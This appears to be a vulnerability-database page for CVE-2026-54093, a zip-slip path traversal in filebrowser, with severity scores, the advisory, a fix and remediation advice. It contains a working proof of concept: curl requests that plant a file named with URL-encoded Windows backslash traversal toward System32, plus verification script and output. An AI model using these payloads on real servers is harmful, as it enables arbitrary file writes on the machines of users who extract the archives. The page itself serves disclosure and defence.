Skip to main content

filebrowser CVE-2026-54093

| EUVDEUVD-2026-39504 MEDIUM
Path Traversal (CWE-22)
2026-06-12 https://github.com/filebrowser/filebrowser GHSA-gxjx-7m74-hcq8
6.8
CVSS 4.0 · Vendor: https://github.com/filebrowser/filebrowser
Share

Severity by source

Vendor (https://github.com/filebrowser/filebrowser) PRIMARY
6.8 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.8 MEDIUM

PR:L because Create permission (low privilege) is required; UI:R because a Windows victim must extract the archive; S:C because impact crosses from the server to the victim's machine; C:N because no data is disclosed.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N

Primary rating from Vendor (https://github.com/filebrowser/filebrowser).

CVSS VectorVendor: https://github.com/filebrowser/filebrowser

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

3
CVSS changed
Jun 25, 2026 - 19:22 NVD
6.8 (MEDIUM)
Source Code Evidence Fetched
Jun 12, 2026 - 22:23 vuln.today
Analysis Generated
Jun 12, 2026 - 22:23 vuln.today

DescriptionCVE.org

Summary

filebrowser builds the download-as-zip / download-as-tar archive entry names with filepath.ToSlash, which on a Linux host is a no-op for backslashes (\ is only a path separator on Windows). A file whose name contains Windows-style traversal (..\..\..\evil.txt) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) interpret \ as a path separator and write the extracted file outside the extraction directory - arbitrary file write on the victim who downloads and extracts the archive.

Details

http/raw.go getFiles() constructs the in-archive name and passes it to github.com/mholt/archives@v0.1.5:

go
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows
archiveFiles = append(archiveFiles, archives.FileInfo{
    FileInfo:      info,
    NameInArchive: nameInArchive,
    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
})

On Linux filepath.Separator == '/', so filepath.ToSlash leaves any literal backslash in the stored filename untouched. mholt/archives nameOnDiskToNameInArchive then writes that name verbatim into the zip/tar central directory.

The filename reaches the filesystem because the resource create path (http/resource.go resourcePostHandler) derives the name from r.URL.Path and cleans it with path.Clean("/" + ...), which treats only / as a separator. A URL-encoded backslash segment (%5C) therefore survives cleaning, and the file is created on the Linux FS with a literal \ in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file.

PoC

Deployed against the official image filebrowser/filebrowser:v2.63.5 (current release, 2026-05-21).

bash
# 1. Deploy
docker volume create fb-srv-vol
docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5
# wait for /health == 200; read the generated admin password from `docker logs fb-poc`
PW="<password from docker logs>"
# 2. Authenticate
TOK=$(curl -s -X POST http://localhost:8088/api/login \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"admin\",\"password\":\"$PW\"}")
# 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C)
curl -s -o /dev/null -w "mkdir=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK"
FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt'
curl -s -o /dev/null -w "putfile=%{http_code}\n" \
  -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \
  -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT'
# 4. Download the folder as a zip and inspect the entry name
curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK"
python3 - <<'PY'
import zipfile, binascii
z = zipfile.ZipFile('/tmp/fb_evil.zip')
print("entries:", [i.orig_filename for i in z.infolist()])
data = open('/tmp/fb_evil.zip','rb').read()
idx = data.find(b'PK\x01\x02')
print("central-dir hex:", binascii.hexlify(data[idx:idx+72]).decode())
print("contains 0x5c backslash byte:", b'\x5c' in data[idx:idx+200])
PY

Observed output (verbatim):

mkdir=200
putfile=200
entries: ['..\\..\\..\\..\\..\\Windows\\System32\\evil.txt']
central-dir hex: 504b01021403140008080000f002c25cc0fcca3f1400000014000000280009000000000000000000a081000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c537973
contains 0x5c backslash byte: True

Server-side, the file exists with a literal backslash name:

-rw-r-----  1 user user  20  ..\..\..\..\..\Windows\System32\evil.txt

The central-directory hex tail 2e2e5c 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797973... decodes to ..\..\..\..\..\Windows\Sys....

Negative control - a normal filename produces a clean entry, and a forward-slash traversal is correctly stripped by path.Clean:

safezone entries: ['normal.txt']
PUT ..%2F..%2Fevil2.txt  ->  HTTP 301  (collapsed by path.Clean; nothing escapes)

This proves / is handled but \ is the unhandled gap.

To observe the Windows-side traversal effect, extract fb_evil.zip on Windows:

powershell
Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force
# 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out

Impact

Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree).

Affected versions

All current versions through v2.63.5 (verified against the v2.63.5 release image). The filepath.ToSlash-based normalization in http/raw.go getFiles() is the root cause; github.com/mholt/archives@v0.1.5 passes the name through verbatim.

Suggested fix

Normalize Windows separators out of the in-archive name regardless of host OS, in http/raw.go getFiles() before constructing archives.FileInfo:

go
nameInArchive = filepath.ToSlash(nameInArchive)
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host

Optionally also reject or sanitize filenames containing \ at create time in http/resource.go so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only filepath.Base likewise failed to strip backslashes on Linux.

AnalysisAI

Zip-slip path traversal in filebrowser v2.63.5 and earlier (Linux-hosted) allows any authenticated user with Create permission to plant a file whose name contains URL-encoded Windows-style backslash traversal sequences (%5C). The Linux server stores the file with a literal backslash in its name, which filepath.ToSlash() silently ignores, and the archive download handler emits that name verbatim into zip/tar central directories. When a Windows victim downloads and extracts the archive using Explorer, 7-Zip, WinRAR, or .NET ZipFile.ExtractToDirectory, the extractor interprets \ as a path separator and writes files to arbitrary locations outside the extraction directory - enabling arbitrary file write on the victim's Windows machine. No public exploit identified at time of analysis beyond the full PoC published in the GHSA advisory; EPSS is 0.03% (8th percentile), consistent with the two-party, victim-interaction requirement.

Technical ContextAI

The root cause (CWE-22, Path Traversal - zip-slip variant) lies in a cross-platform assumption in http/raw.go getFiles(). Go's filepath.ToSlash() only rewrites the *host* path separator to /; on Linux where filepath.Separator == '/', backslash characters in filenames are left completely untouched. Separately, http/resource.go resourcePostHandler cleans incoming URL paths with path.Clean("/" + ...), which recognises only / as a separator, so a URL-encoded backslash (%5C) survives into the filename stored on the Linux filesystem. The upstream archive library github.com/mholt/archives@v0.1.5 then writes the backslash-containing name verbatim into the zip or tar central directory via nameOnDiskToNameInArchive. The affected packages per CPE/PURL are pkg:go/github.com_filebrowser_filebrowser_v2 (v2 branch) and pkg:go/github.com_filebrowser_filebrowser (v1 branch). The vulnerability is a server-side archive-construction flaw whose impact is fully realised on the Windows client that extracts the archive - a classic zip-slip trust-boundary crossing.

RemediationAI

Upgrade filebrowser v2 to v2.63.6, which adds strings.ReplaceAll(nameInArchive, "\\\\", "/") in http/raw.go getFiles() to strip Windows separators regardless of host OS, and also introduces symlink scope enforcement and auth-body size limits in the same commit (847d08bdd135e5c3659f2e6dea2f0cd36617af9b). Patch reference: https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b. Release: https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6. For the v1 branch, no vendor-released patched version is confirmed; operators should migrate to v2.63.6 or apply the one-line strings.ReplaceAll fix manually. If immediate upgrade is not feasible, remove the Create permission from untrusted user accounts (this prevents planting backslash-named files entirely) and disable self-registration (Settings → Authentication → Signup) to eliminate the anonymous-attacker path. As a victim-side mitigation, instruct all users to extract archives to isolated empty directories and use an extraction tool with zip-slip detection enabled (recent 7-Zip versions warn on path traversal entries). Disabling the zip/tar download feature entirely via filebrowser's configuration removes the attack surface at the cost of that functionality.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-54093 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy